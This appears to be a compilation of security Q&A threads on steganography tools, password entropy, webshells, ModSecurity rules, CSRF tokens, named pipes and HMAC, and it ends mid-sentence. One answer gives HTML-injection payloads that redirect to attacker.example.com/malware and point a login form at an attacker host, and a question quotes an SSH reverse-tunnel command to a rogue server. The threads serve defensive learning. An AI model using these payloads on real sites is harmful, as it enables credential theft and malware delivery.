Unfortunately, with a classical operating system, when you run malware it has access to the whole account. (or whole computer if it is an Admin account)

  Is this something new

Nope. "AtomBombing affects all Windows version."


Looking for some steganography guidance I am currently trying to figure out a steganography challenge. I was given 3 images, a secret.txt file and a "binary" file. There are no instructions as this was part of another challenge. I am looking for someone to point me in the right direction. I just cant seem to make anything out of it lol. Here is a link to the files.

Not looking for anyone to solve this for me, just offer some guidance on tools to use and what direction to go. Thank you for your help.

For JPG images it is possible to use a tool called Stegdetect to identify images which are suspicious to bare the steganographic content and identify a tool used to hide the message. It can even try to decode or bruteforce some of the algorithms. Original site of the tool disappeared from internet, but you can still download the tool from some trustworthy archives like Debian - https://archive.debian.net/etch/utils/stegdetect
Here is guide how to install on Kali linux - http://rfc.red/installing-stegdetect-in-kali-linux/
http://freecode.com/projects/stegdetect/

Some more tools:

steghide - http://steghide.sourceforge.net/
stegui - GUI for steghide - http://stegui.sourceforge.net/steghide.html
JPHide - http://linux01.gwdg.de/~alatham/stego.html
Outguess - stego tool from the same author as stegdetect

https://archive.debian.net/squeeze/outguess
http://web.archive.org/web/20150508205355/http://www.outguess.org/download.php

OutguessRebirth - http://www.outguess-rebirth.com/
OpenStego - https://sourceforge.net/projects/openstego/
Camouflage - http://camouflage.unfiction.com/
and probably many more:
https://github.com/search?utf8=%E2%9C%93&q=stegano


How many bits of entropy should I aim at for my password? I mainly use 2 passwords: 1 is a 4 word full lowercase passphrase of 18 letters long which I use wherever possible. The other is basically 3 words and a digit with the first word in full uppercase and only 14 digits long. I use this whenever the first passphrase is not valid due to length or character set constraints. the words are fairly common (top 5000 words on  popular TV shows).

I've calculated the entropy for both passwords using http://rumkin.com/tools/password/passchk.php. the entropy for both passwords is about equal at 68 bits, give or take half a bit. I mainly use these passwords for gaming related matters (MMO accounts, desktop clients, forums). I do not use these passwords for financial data, apart from 2 empty paypal accounts and a read-only prepaid credit card statement.

I don't know how valid these entropy numbers are, but judging from these parameters, are these passwords safe enough for their intended purpose? And what is the general guideline for password entropy for different purposes?

Password meters are no good. Well, that's a bit simplistic, so let me say it in more details: a "password meter" application like the one you used is mindless and generic; what it measures is the effort of breaking your password, using the mindless and generic strategy that the password meter author thought of. In particular, that password meter system has no idea that your passwords have been generated by assembling words taken randomly from a short list. However, an attacker who is intent on breaking your password will know that, and adapt: you just wrote it on a public forum, so it has become public information.

A correct entropy computation does not work over the actual password value, but over the process by which the password was generated. We simply assume that the attacker is aware of the process, and knows all of it except the actual random choices. With 4 words from a list of 5000, you get one password in a set of 50004 with uniform selection probability (that's an important assumption), so the entropy here is 49.15 bits (because 249.15 is approximately equal to 50004). With 3 words, you get 36.86 bits. For more on entropy calculation, see this answer.

(The wisdom of entering your password in a Web-based "password meter" is questionable, too. The one you link to claims that it does all the computations in Javascript and your password does not leave your browser, but did you really check the Javascript source to make sure of it ?)

As far as passwords go, 36.86 bits of entropy are rather good. Entropy from passwords selected by average users is much lower than that. Such a password will be broken by an attacker who got the corresponding hash IF the hash was not done properly (e.g. some homemade construction with a couple of SHA-1 invocation), but even then chances are that other users will fall first.

However, you are doing something real wrong. It is right there, in your first sentence:

  I mainly use 2 passwords: 1 is a 4 word full lowercase passphrase of 18 letters long which I use wherever possible.

Emphasis is mine; it shows the problem. You are reusing passwords. That is Bad. You shall not reuse passwords. When you use the same password on N sites, you lower the security of your account on all sites to the level provided by the worst of the N. Moreover, when that site gets hacked and your password stolen, and your password shows up on lists of login+password exchanged over P2P networks, you will not know which site did it wrong. A lot of sites still store plaintext passwords (a shooting offence) so any widely reused password MUST be assumed to have already leaked.

If you use site-specific passwords, then any damage will be contained to the specific culprit. Of course, this implies some storage system on your side, e.g. KeePass, or a low-tech "passwords.txt" file (you have to take care of where you store it and use it, but that can be managed with decent physical security), or even a printed list that you keep in your wallet. In practice, separation of passwords for damage containment will be a lot more important to your security than password entropy.


Where to expose flaws in security? Some websites have ridiculous security flaws.

Thankfully the public is slowly becoming more aware, and many sites are fixing the more obvious ones, like lack of HTTPS,  poor password creation guidelines, and plain text password storage.

But there are still a ton of offenders, and many people don't have someone to correct their behavior.

My question is, are there any sites that exist to expose poor security habits? Something like PTO , but for, say, collecting sensitive information over HTTP?

(I'm asking because I recently encountered a small company's website that collected payment info over HTTP, and wrote them a rather long-winded email about the possible dangers of the practice, and about solutions they could implement free of charge, and was completely ignored.)

Edit:

I am not asking when it's okay, I just want to know if there's a place to do it, or somebody I could contact about it (aside from the site's owner).

Here are three ways.

To expose network configuration and related flaws, security issues can be detected using what is known as a penetration test or pen test.
To expose application-level flaws, security issues can be detected using an AppScan.
Automated tests aren't perfect, and aren't very creative (they just run scripts looking for known weaknesses) so if you're really interested in security you can hire a white hat cracker to try and bust into your system and create a report of issues.  Sounds like you are already serving in that role, sort of, and there are people who do this sort of thing professionally as well.


Distinct error messages for wrong email / password I want to continue discussion started in this question "Username and/or Password Invalid" - Why do websites show this kind of message instead of informing the user which one was wrong? but due to my reputation I need to create a new question.

So I wonder why Google and Facebook definitely say what was wrong: email or password while some people think this can be security issue?

Some thoughts about "this is dangerous because hacker will now that the email is valid":

I think almost every site have password recovery form with only email field in it so it is pretty easy for hacker to know whether some email exists or not. He will just enter the email in recovery form and wait for answer "Recovery email was sent" or "This email doesn't exists".

Yes, the genuine user will know about this non genuine recovery attempt and will probably protect his account rapidly. But in case of password brute forcing we also can notify a user about suspicious login attempts (Facebook used to send such emails after some number of unsuccessful login attempts).

Essentially, this comes down to a balance between usability and security.

In the case of Google and Facebook, there is an assumption that pretty much "everyone" has an account, therefore the risk of giving away what email address has been used is minimal - it makes more sense from a customer support purpose to minimise calls from people who have mistyped their email address. They also both use fairly advanced methods of detecting fraudulent logins, with the ability to show a list of all known sessions, and detection for multiple logins from geographically distinct locations (e.g. if you log in from the UK and the US within an hour, something suspicious is going on).

For most smaller sites though, there isn't that assumption. Most people don't have an account with any given website, therefore the information that they do becomes valuable. In that case, you can reasonably hide whether someone is a member or not by giving a generic rejection method. You can also give a standard message reading something like "We have sent a password reset link to the address provided - if you don't receive it within a few minutes, check your spam folder, or double check the entered address" - you don't need to expose your user list through forgotten password screens.

If the smaller sites could either make the assumption that "everyone" has an account, or run a full suite of fraud detection methods, like Facebook or Google, it wouldn't be an issue, but the cost of running that type of protection tends to be prohibitive until you reach huge scale. Generic error messages, on the other hand, are cheap, and effective.


Webserver has suspicious file A webserver I know has this file which is "decrypted" to this file

Now my question: What damage can this script do? And how could I inspect it correctly? (The compressed version needs a password and the decompressed version doesn't work)

Edit: I found This tool

I recognize this webshell, as I've dealt with it many times over my years in the shared hosting world.

This is known as a webshell. This particular one, Filesman, has a slew of dangerous features one can execute. To name a few, they can view and download any file or directory in your webroot, change permissions (CHMOD) of files and directories, and open incoming ports so other servers can stream more malicious data to your webroot.

I recommend getting rid of this and patching the hole this was uploaded through ASAP!


Is an ATM alert system triggered by typing the PIN in reverse a secure solution? Picture an ATM security system where, if the user types the PIN in reverse, the ATM alerts police, the customer's bank, or other parties.

Are there any ATM manufacturers that use this or a similar system? Is it secure?

This is an urban myth. The FTC looked into the whole thing in 2010 and could find no bank or manufacturer of ATMS in the US who had ever implemented such a system; they also concluded that it would be expensive to implement and probably not work very well.

Duress codes do exist in other areas - some home alarm systems have them, either in the PIN or in the code used over the phone to the alarm company to cancel an alarm.

There's an interesting paper from the University of Waterloo that points out some of the issues with such systems. For example, because of Kerchoff's principle, we must assume the bad guy knows there is a duress code, so she can demand the victim tell her that as well and improve her chances to 50%. And of course there's the old chestnut of attacking the password change process.


Why these 2 regexp won't work as expected in ModSecurity? PROBLEMRULE #1; SecRule REQUEST_URI "^/(|(.*)/)(lpt1|lpt2|lpt3|lpt4)(/|\.|\?|$)" "t:none,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,block,msg:'X',id:'1000'"
PROBLEMRULE #2; SecRule REQUEST_URI "^(.*)//(.*)$" "t:none,t:removeWhitespace,block,msg:'X',id:'1001'"

// I also tried those, but no success.
SecRule REQUEST_URI "//"
SecRule REQUEST_URI "^/(.*)/(lpt1|lp...

These 2 things won't work as expected. Other rules are working fine.
I want to block a request something like:

// (too many slash, NOT blocked)
/////////// (too many slash, NOT blocked)
/lpt1 (Apache returns 403, NOT from modsec. Error log: "Forbidden: (web-dir)/lpt1 doesn't point to a file or directory")
/lpt1/blah (Apache returns 403, NOT from modsec. "doesn't point to a file or directory")
/somedir/lpt4.txt (Same as above)
/somedir/lpt4 (Same as above)
/somedir/////// (* SUCCESSFULLY blocked)

I believe these regexpression is O.K., so I really want to know why mod_security2 won't block these requests. I want to block using mod_sec2, not apache.

Environment:
Windows Test Web server | mod_sec2 | Apache 2.4

To moderators:
Sorry for creating another question,
because my email has been hacked and I lost my password.
Please delete http://security.stackexchange.com/questions/47000/why-these-2-regexp-wont-work-as-expected
I use THIS ONE to continue question.

To before question:

  The REQUEST_URI variable doesn't include the domain or the protocol. Did you mean to add more to the end of that URL?

Yes, I know.
I want mod_sec2 to deny "GET ////////"(shown in above examples).
If I hit a browser hxxp: // something.mysite.com//////////
REQUEST_URI become "///////", so id:1001 should be applied. Am I right?

  Is the rule ID logged for the request that is successfully blocked by Mod Security?

If the mod_security rule was successfully applied, I can see mod_sec error in my
apache's errorlog(including hit ID number, of course.)

"/somedir/lpt4" and other thing, are block by apache, not by mod_security.
(No logs from mod_security)

LTP1?

http://www.hanselman.com/blog/NamingAFileAReservedNameInTheWindowsVistaOperatingSystem.aspx
I want mod_sec to deny these ugly internal commands, so I create a rule(id:1000).

P.S. "RewriteRule" is not an option to me. I want to use mod_sec2 to do this.

SecRule REQUEST_URI "^/(|(.*)/)(lpt1|lpt2|lpt3|lpt4)(/|\.|\?|$)" "t:none,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,block,msg:'X',id:'1000'

There can be two problems with these rules.

HTTP request Transformation functions i.e t:htmlEntityDecode,t:lowercase,t:removeWhitespace should be in compliance with actual encoding scheme used in HTTP request. Modsecurity transform the input and apply the regular expression for each transformation.
You are using block as a disruptive action, problem with block that it uses SecDefaultAction value that can be pass, deny,drop. Therefore block may not be blocking the malicious HTTP request and replacing block with deny may solve the problem.


Hacking WPA/WPA2 passwords Is there another method apart from using a wordlist to crack WPA/WPA2 passwords? because it's not going to work for all cases. Even using the biggest wordlist ever, there are cases where there won't be a match in the wordlist. (assuming that WPS is off too because if WPS is on, the password may be cracked through weaknesses of WPS)

Yes of course, there are other sorts of brute force attacks to crack passwords!
For example, on Hashcat's website you can find the following types of attacks:

Straight *
Combination
Brute-force
Hybrid dict + mask
Hybrid mask + dict


How do you pen test a REST API? We have a server that is running a REST API on port 443. I'd like to make sure it's secure by doing various pen tests on it. I'm used to doing offensive testing on a webpage where I can see code, and URLs, and find forms to test. But I'm completely blind when testing an API. I don't even know what are valid URLs to test against.
Is there any good documentation on how to do this, perhaps using Kali Linux?

REST Security and API Security are excellent topics of research.

This question and the answers provide good starting points to find great tools and techniques to test these interfaces -- API Security Testing Methodologies

If I were you, I'd avoid testing a REST interface or an API's security remotely, or via a black-box technique such as dynamic app security testing. What you want is to analyze the design decisions (this blog post is a great reference with .NET code examples and component recommendations) and/or perform a secure code review. One tool that I commonly use to perform secure code reviews is Find Security Bugs. For analyzing components, there is OWASP Dependency Check (with multiple language support), bundler-audit for Ruby, Retire.js (or Snyk.io) for JavaScript, and OWASP SafeNuGet for .NET projects.


block changing IP addresses on port 25 SMTP A script is currently being run against my exchange server attempting to access resources on port 25 SMTP. This is generating event 4776 within Windows event logs. How can I stop this? Would I need to block this at the firewall or at the exchange server? Do I block incoming or outgoing on port 25 (I don't want users to lose their email capability)? What if I block a specific IP address and it keeps changing? How exactly do I block these attempts and prevent this from happening in the future? As of now, the script being run against port 25 might contain some valid usernames as they are coming up in the event logs, which is preventing some users from logging in. Note: blackberry services are running on the exchange server as well.

Try to block the IP at firewall level, use DROP not REJECT. Monitor, if he does it again, add that IP too.

They are probably scanning for an open relay or a way to use your mailserver as a relay for spam. Don't panic because these scans are quite common. You can try to look for IDS solutions to automatically block this behavior if it bothers you too much.

Should it be that it is not a break in attempt with spoofed IP's then it is probably a DDoS and you will need to contact your ISP. (If they want to get into your system they will be using real IP's since they want a response)


Should I use one CSRF token per page or per form? Is it safe to use one CSRF token per form on my page, ex:

<form>
    <input type="hidden" name="token" vale="<?=$data['login_token'];?>" />"
</form>
<form>
    <input type="hidden" name="token" vale="<?=$data['register_token'];?>" />"
</form>

Or should I just use one generic token for every form, ex:

<form>
    <input type="hidden" name="token" vale="<?=$data['token'];?>" />"
</form>
<form>
    <input type="hidden" name="token" vale="<?=$data['token'];?>" />"
</form>

Note that I will refresh the token on each page request.

As this question mentions, a single random unguessable token per session is sufficient.

When you start generating tokens per-page or per-form, you're simply limiting the impact of a CSRF token being leaked. Singular token leakage cases are relatively rare bugs, but XSS is obviously a common vector.

In certain cases it does indeed make sense to have a per-page or per-form CSRF token, as when combined with other protection features (e.g. disabling Ajax with CSP's connect-src directive) you can limit an XSS bug's ability to compromise CSRF tokens to the page which the XSS occurred, assuming you ensure that the token can't be re-used elsewhere.

Some people promote per-page or per-form CSRF protection as a way to increase security when using a double-submit cookie method, but I don't think this is sensible: if you have a bug that lets you read a cookie, you'd just read the session ID.

The flipside of the argument is that by implementing the more granular CSRF protection, you add additional complexity to your code, and that increases the attack surface and potential for bugs.

Personally, I'd stick with a single token per session, then implement other anti-automation controls (e.g. captcha, password re-entry) on top of this when needed for additional security.


Do I have the private keys to CAs installed on my browser? Could someone please help explain the following comment from Why was the private key of the Superfish certificate so easily extractable?

  The main issue with private key extraction is the use of the same root
  certificate on each install. It should be autogenerated (Fiddler does
  it) so the private key is specific to your computer.

I am researching the Lenovo SuperFish adware and I had originally thought our browsers only have a copy of the public keys of each installed CA - do we also have a personalized unique private key associated with each CA public key installed?

IIRC, and I could be wrong, This is because it was using self signed certs that were generated psuedo on-the-fly.
Because of this, if you reverse engineer the interception mechanism you could extract the private key


What are some useful tags and payloads for HTML injection on CSP-protected sites? I'm pen-testing a website that fixed most of its XSS vulnerabilities by just adding a Content Security Policy. There are still HTML injections in several places. I've tried to get a javascript-containing file onto the origin via an attachments feature, but it looks like a dead end.

Since I can't execute javascript, what can I use as a proof of concept to show the continued severity of HTML injection attacks despite the CSP? Are there any HTML tags I can still use to compromise security?

The CSP has a default rule that only allows the same origin. However, there are exceptions for data: in <img>, and the policy also allows inline CSS.

You could try to do a redirect to another URL using meta-tags:

  <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware">

And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP.

  <form action=login.php> <!-- original action -->
  <form action=http://attacker.example.com/login.php>  <!-- your injected action -->
  ...<input type=password ....
  </form>

And of course you could include any kind of links to other sites, because links are not affected by CSP too.


Reset links in password expiration emails Our organization is rolling out yearly password expiration to our 40,000+ users this fall and we have been socializing this change for some time now. However being such a large organization, our users are also consistently bombarded with phishing emails. Our rule of thumb we tell our users is "Don't click on links in emails you didn't expect".

However now that we are rolling out password expiration, we are planning to send emails to users who's passwords will expire soon urging them to change their password.

The emails:

Are well branded and look professional
Personally identify the user with their username and an internal (although not completely private) ID number
Clearly explain what is going on, and what action to take
Contain proper headers identifying the sending email server is from our organization for advanced users (e.g. we aren't sending these from off-site)

However to make life significantly easier on users, we have a couple links in the emails:

A link to our documentation for password expiration on our website
A link to the actual password reset application
A link to the password recovery application (for lost passwords)

There is also a mini-guide on how to identify trustworthy sites by checking the URL and SSL certificate, and when in doubt to type out the address to our homepage itself, then follow the links.

My question is:

Is there any amount of legitimacy we can add to the password expiration email so users can trust this email (which they probably weren't expecting) and click on the links, or should we ditch the links all together and just tell users to do the process themselves instead of clicking on a convenient button in the email?

The short answer is no.   Sure you can make your email very legitimate looking, that isn't the problem.  The problem is you are conditioning your users to click on links in emails and email is a 100% insecure medium.  Links in emails are an anti-pattern.

"Official looking" isn't secure.  Almost everything in your email can be replicated by a dedicated attacker.  If you are mycompany.com an attacker using myc0mpany.com would almost certainly phish some significant percentage of your users.  The attacker can use SSL and SPF as well.  Which means some very subtle things which are not strong identifiers.

It is clear you have put some thought into this. Things like identifying the user by username adds legitimacy but would most of them notice if another email from "you" didn't?  As an experiment, if you sent a similar email to a test group without those extra legitimacy boosters or from a spoofed domain (myc0mpany.com) my guess is you would see a click through rate that is almost as high.

Now if your bosses pressure you into using links well I certainly understand.  We as an industry have done an incredibly good job of conditioning everyone from end users to policy makers to expect this anti-pattern.  However if you can, take a step back.  Why do you need a link in the email?

Why can't you just handle password reset on the next login? Send an email to users advising them they will need to reset their password on the next login.  You could include a screenshot of a browser (with url) and the login page if you think users are incapable of finding their way to the login screen without a direct (insecure) link.

Also I would not roll out a password reset to all 40,000 users at once.  Handle it in batches and take time between batches to get feedback.

Even for lost passwords there is no need to include links in emails.

On website user tries to login and can't.
User clicks forgot password and completes any alternate identification requirements.
Server side generate reset code, update user record in db to store account status (reset), store reset code and expiration.
Send email to user containing reset code (no links).
Page loads to indicate to user an email has been sent containing reset code.
User copies reset code from email and pastes it into the secure site

The most important thing you can do to prevent phishing attacks is regularly and continually remind the users to never click links in emails.  This should be done both in all your email communication and at the website login.  You should also have a dedicated email address such as fraud@mycompany.com and advertise it in all email communication.  This won't prevent phishing emails but it may alert you to an attack earlier.


Why should I use easy-rsa when using OpenVPN? Reading this guide on how to setup an OpenVPN server on a Raspberry Pi, I saw this line:

  4) You don’t want anyone who finds your VPN server address to be able to connect. So next, we’re going to make a key for the server address. It’s just like keeping the door to your house locked.

I am not sure what this means. If somebody finds my VPN server, they would need username and password of one of the users to use my VPN anyway, so what's the point of using easy-rsa to generate the keys?

I am currently using the OpenVPN ESXi virtual appliance and there was no need to configure any of this. Does this mean that my VPN server is not as secure as it could be?

Because key based authentication is a lot more secure than username/password based authentication because it's nearly impossible to bruteforce. By bruteforce I mean, try all possibilities untill you find the correct one which let's you login. Generally the harder it is to find the right username/password combination, the more secure your system is.

For example:

You use a username like: aH#398x*t$
And you use a password like: %ygo74Xg2&

So both are 10 characters, completely random. You use lower case, upper case, numbers and special characters, so for every character there are 95 possibilities (ASCII). This would make the complexity to bruteforce the username 95^10, to bruteforce both the username and password the complexity would be 95^20. So 95^20 = 3.58*10^39.

If you use standard key based authentication with 2048 bit RSA keys (2^2048 roughly equals 10^616) then this means if you have to bruteforce it, you will have to try all possible RSA keys. This effectively means trying all prime numbers of size 1024 bit. You can roughly estimate how many prime numbers there are with the following formula: n / ln(n)

2^1024 / ln (2^1024) roughly equals 10^310.

So if an attacker wants to attack your system he would need to bruteforce either 10^39 or 10^310 possibilities. Say an attacker is capable of an offline attack, then quite an average videocard is already capable of trying 10 billion possibilities per second. Quite often it is possible to find out what the username is, so he would only need to bruteforce 10^19 passwords.

10^19 / 10^10 = 10^9 seconds = 31 years with an average desktop computer.

So it is feasible for an attacker to crack this in a short amount of time if he has enough computers available.

But 10^310 is nearly impossible to bruteforce because the number is so huge. To get the same security you would need a random password that is about 156 characters long. (10^310 = 95^x)

So this is why almost always keys are adviced for vpn / ssh. It's on a completely different level of security than passwords.

EasyRSA is a tool included with openvpn to make the generation of RSA keys easier for you. But RSA keys generated with OpenSSL or other crypto tools will work perfectly fine with openvpn too.

This stackoverflow answer explains the amount of prime numbers in RSA keys some more:
https://stackoverflow.com/questions/16091581/how-many-prime-numbers-are-there-available-for-rsa-encryption

A more mathematically accurate side note: 10^310 is merely the number of primes in that key space. There are more efficient algorithms than merely bruteforce trying all prime numbers. The currently fastest known method of factoring is GNFS.

exp(((64/9)^(1/3))(log(2^2048))^(1/3)(log(log(2^2048))^(2/3)))

512: 63.9 bit
1024: 86.7 bit
2048: 116.8 bit
4096: 156.5 bit
8192: 208.4 bit
16384: 276.5 bit

So for a 2048 bit prime number, instead of having a 1029 bit (2^1029 = 10^310) complexity, you'd only have to attack 116.8 bits.

10^116.8 = 95^x -> x= 59

So a 59 character random password would have equivalent security to a 2048 bit RSA key with current factorization methods.


How can I protect named pipes in windows? I have some misunderstanding regarding how to secure the communication of named pipes in windows

For example, I have a windows service that talks with other processes via pipes, how can I make sure that I'm talking to the right process? Are there ways of authenticating the connections? I know Chrome implemented some security measures in their code but I was having trouble following the implementation.

I also read about pipe impersonation attacks that can be used against pipes and also was having some trouble understanding how this attacks work or how to block it.

From Gray Hat Hacking The Ethical Hacker's Handbook, 4th Edition:

  Enumerating Named Pipes

  Named pipes are similar to shared sections in
  that developers used to think, incorrectly, that named pipes accept
  only trusted, well-formed data from users or programs running at the
  same privilege level as the program that has created the named pipe.
  There are (at least) three elevation-of-privilege threats with named
  pipes. First, weakly ACL’d named pipes can be written to by
  low-privileged attackers, potentially causing parsing or logic flaws
  in a program running at a higher privilege level. Second, if attackers
  can trick higher-privileged users or processes to connect to their
  named pipe, the attackers may be able to impersonate the caller. This
  impersonation functionality is built into the named pipe
  infrastructure. Finally, attackers might also find information
  disclosed from the pipe that they wouldn’t otherwise be able to
  access. AccessChk does not appear to support named pipes natively, but
  Mark Russinovich of Sysinternals did create a tool specifically to
  enumerate named pipes. Here’s the output from PipeList.exe:

PipeList v1.1
by Mark Russinovich
http://www.sysinternals.com
Pipe Name                      Instances      Max Instances
---------                      ---------      -------------
TerminalServer\AutoReconnect        1             1
InitShutdown                        2            -1
lsass                               3            -1
protected_storage                   2            -1
SfApi                               2            -1
ntsvcs                              6            -1
scerpc                              2            -1
net\NtControlPipe1                  1             1
net\NtControlPipe2                  1             1
net\NtControlPipe3                  1             1

  The Process Explorer GUI will display the security descriptor for
  named pipes. The “squatting” or “luring” attack (the second
  elevation-of-privilege threat previously mentioned) requires an
  attacker having the SeImpersonatePrivilege to influence the behavior
  of a process running at a higher privilege level. One such example
  discovered by Cesar Cerrudo involved an attacker being able to set the
  file path in the registry for a service’s log file path to an
  arbitrary value. The attack involved setting the log file path to
  \??\Pipe\AttackerPipe, creating that named pipe, causing an event to
  be logged, and impersonating the LocalSystem caller connecting to
  \??\Pipe\AttackerPipe.


Does HSTS protect against a rogue CA issuing a illegitimate valid certificate? Does HSTS protect a domain from a publicly trusted CA that has gone rogue issuing a illegitimate valid certificate? Examples of publicly trusted CA's would be any of the members of the Mozilla CA Bundle.

Is there any way to protect a domain from having an illegitimate but publicly trusted CA issue a valid certificate?

No, HSTS does not protect against certificate misissuance. HSTS simply tells the browser to only allow connecting to that site over HTTPS, it doesn't have anything to do with checking whether the certificate should be trusted.

There are two things that can help with misissuance to some extent, Certificate Transparency (CT) and Certificate Authority Authorization (CAA).

Certificate Transparency won't prevent misissuance by a CA, but it requires that certificates are publicly logged, so you can check and see if any certificates have been issued for your domain that shouldn't have been. Since 2018 Google Chrome has required that all new certificates issued be CT logged in order to be trusted. Firefox does not yet unfortunately, but in practice all certificates issued these days are CT logged as otherwise they would not work with Chrome.

Certificate Authority Authorization allows you to indicate which CAs are allowed to issue certificates for your domain using a DNS record. This will prevent accidental issuance by a CA, but of course a bad actor will just ignore it. Since CAA is only intended to say which CAs are allowed to issue a certificate at a specific point in time, and not for the lifetime of the certificate (ie if the CAA record changes the certificate is still valid), this is only a useful control for CAs that aren't bad actors, as it can help prevent them from issuing a certificate they shouldn't have which could eventually lead to their being distrusted. In fact, the RFC specifically requires that browsers not check CAA records.

A third option is HPKP, which allows you to pin a specific certificate that must be used for your domain (it needn't be a leaf certificate, pinning your CA's root would be somewhat similar to using CAA, but more effective), but it has fallen out of favor and is no longer supported by Chrome.

EDIT: curiousguy points out an interesting attack to work around CT logging in some cases. If an attacker has a Man in the Middle position, they may be able to tell which browser is establishing a connection early on (eg due to minor behavioral differences in the TLS stack). This could allow them to decide not to attack connections from browsers known to check CT logs, simply forwarding the connection to the legitimate server, but present a misissued and non-CT logged certificate to other browsers in order to impersonate the legitimate server. It seems that the only way to prevent this would be for all browsers to check CT logs.


How to stop outgoing SSH on port 443 Let us say that a small company has an internal network for employees. All employees are granted Internet access via a NAT device (not a proxy) and perimeter firewall only allows outgoing connections to port 80 and 443. An attacker manages to compromise an employee workstation (say by spear phishing mail) and wishes to pivot into the internal network. He decides to use SSH port forwarding and sets up his SSH server to listen on port 443. He then launches remote port forwarding on the compromised machine
$ ssh -p 443 -N -R 8080:127.0.0.1:9999 admin@rogue_server

As outgoing traffic is to port 443, the firewall allows it.
How can the company defend against such attacks?
I am interested in knowing about various possible defenses including the obvious application firewall. For an application firewall - would a proxy server like Squid suffice?

Deep packet inspection (DPI) can recognize SSH handshakes and block them, but that doesn't gain you anything. A competent attacker would just use TLS instead, for example via reverse tunneling through openssl client or the more advanced flavors of netcat. It's not possible for even DPI to tell the difference between one of those (if configured to act exactly like a browser, in terms of cipher suites and so on) and an actual browser making an HTTPS connection; the TLS handshake looks exactly the same. An attacker could also run a TLS-based VPN such as OpenVPN and then tunnel anything at all through that.
Also, a fully reverse tunneled shell isn't actually needed. An attacker can remote control a shell script via curl or similar, or even receive commands and exfiltrate data through DNS requests or similar (which you have to allow out; even if your workstations can't make them to the outside directly, it can make them to your gateway which will relay the request and the response).
Blocking SSH is also awkward for a number of other things. Git can use HTTPS, but then you need to do password auth and it gets messy with MFA; SSH with public key auth is more secure but then you might have to allow SSH connections to GitHub or similar. SSH is the standard way to administer remote Linux servers in the cloud, and is becoming increasingly common for Windows servers too. SSH is also used "under the covers" for some other software and protocols.
At the end of the day, blocking SSH is a speed bump to a competent attacker, who - having already dropped and executed some payload on a host inside your network - does not actually need another way to gain code execution on internal hosts. Nor does it prevent exfiltration at all.


Credit card processing in mobile app over Stripe - PCI DSS compiant? after reading a lot of PCI DSS stuff I'm still not sure whether it would be ok for us to use the following process in our app:

Get full credit card data from attached card reader
Tokenize it using Stripe payment processor
Use later for payments

Since we would not store credit card data on device, we do not have to worry about compliance, right?

Also some readers, like MagTek, offer only encrypted data over their API. I assume that decrypting it in the app and immediately tokenizing does not violate the PCI, right?

You always have to be PCI compliant. It just depends on how you process the information if restrictions or requirements apply. Have a look at the following PCI Council document for accepting payments with mobile devices.

What you are doing is seemingly in accordance with the PCI requirements for payments using a mobile device. If your solution (or the one you are leveraging) has been vetted and approved by the PCI council you are considered PCI compliant. So make sure to inquire about the tokenization process and if they can proof it has been vetted by the PCI council or a QSA.

With regard to the MagTek implementation, I'm doubtful it's compliant since the whole point of having a seperate device is to prevent the actual card holder data from touching the phone. It's important when decrypting that it's not stored at anytime on the device, ever. This includes logs and crashdumps. I would inquire directly with MagTek and request proof of validation.


Does a basic sudo-less Linux user or a sudo user but with a password for sudo offer enough security against webpages exploits? Question: I would like to know if it is good protection to browse the net using a non sudo, basic user account, on my Linux distro against webpage exploits such as scripts and other cross-platform threats based on HTML, Java, JavaScript, PDF, Perl, Ruby, Php or even SWF (Adobe Flash) for example ?

I'm asking you and myself the same question in regards to a sudo user that would have to enter a password each time he uses sudo.

Thanks for your help !

Security is a question of layers.

The non-su user with the least elevated privileges is one layer to reduce attacks.

A continuously patched browser which makes every effort to minimize system risk through sandboxing and other techniques is the next layer.

A hardened OS that encapsulates the browser and prevents stack/heap/privilege based attacks is the next layer.

A content filtering system (either in the browser, on the machine, or at the gateway level) is the next layer.

A breakdown at the browser or OS level would circumvent everything you have tried to achieve by reducing privilege level for the user.


Is Linkedin, Google and Facebook Running BitTorrent client? I'm running a application classification program which detects the application based on training datasets and signatures. I'm getting a alert of BitTorrent is running on my system but the application is not installed on my system. Actually it is classifying BitTorrent based on the destination port used 6881, Since 6881 is used by BitTorrent. The destination which is shown in the alert is related to Facebook domain. See the below reverse nslookup result

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

**C:\Users\rpmishra>nslookup 173.252.120.6

Server:  "servername"

Address:  "ip"

Name:    edge-star-shv-12-frc3.facebook.com

Address:  173.252.120.6**

Also I have captured the packets in wireshark and analyzed every packet when FB, Google and Linkedin was running but I didn't found the port 6881 and other BitTorrent patterns. So how is it possible that IPs are related to these services ?

The simple answer to your question is:

No, Linkedin, Google and Facebook are not running a BitTorrent client

If your sensor is triggering only on the use of port 6881, then it could be set off by anything that uses that port. As most applications dynamically assign ports, this could explain why you haven't managed to recreate it.

The solutions:

Don't use a sensor that works solely by matching port
Limit applications to specific port ranges


Can a salted hash be an effective MAC? An HMAC is basically a "keyed hash". Only the correct message and the correct key will produce a particular hash digest efficiently.

Conceptually speaking, the same can be said for a salted hash; only the correct message and the same salt value will produce a particular hash value efficiently. In fact, the HMAC algorithm is little more than a nested, salted hash, where the salts prepended to the message for each of the two nested hashes is based on a simple derivation of the key.

If a true salt, therefore, were kept secret as a key (or equivalently, if a shared secret symmetric key were used as a salt), it stands to reason that any cryptographic hash primitive would become an effective MAC.

So, I guess two questions naturally follow. First, is that assumption correct? Second, if so, what does the HMAC algorithm get you over the incorporated hash primitive, other than reducing computation speed by half and adding one order of magnitude to the brute-force complexity of finding a preimage message using a constant key (or vice-versa)?

If the hash function is a Random Oracle then hashing the concatenation of the key (your "secret salt") and the message is indeed a perfect MAC (I say "key" because if a salt is a secret piece of data then it matches the definition of a key; let's use the proper name).

Unfortunately, random oracles do not really exist... instead, we are stuck with hash functions which we know are not random oracles, and we must get along with their quirks. In particular, the hash function from the Merkle–Damgård persuasion (which includes MD5, SHA-1, SHA-256 and SHA-512) suffer from the length extension attack, which does not contradict the basic properties which are expected from a secure hash function (resistance to preimages, second preimages and collisions), but means that the simple MAC constructions tend to fail horribly.

... Which is precisely why HMAC was invented: with its double-nested hash invocation, it copes with the non-random-oracleness of MD hash functions. We do not do the two hash invocations for the fun of it, but because they are necessary for achieving proper security. Let me stress the important point: designing a MAC algorithm is not as easy as it may seem; you cannot slap a hash function and a key together and hope for the best. Details, as usual, matter.

If you need Performance with a big 'P', the kind which would not be fulfilled by HMAC, then:

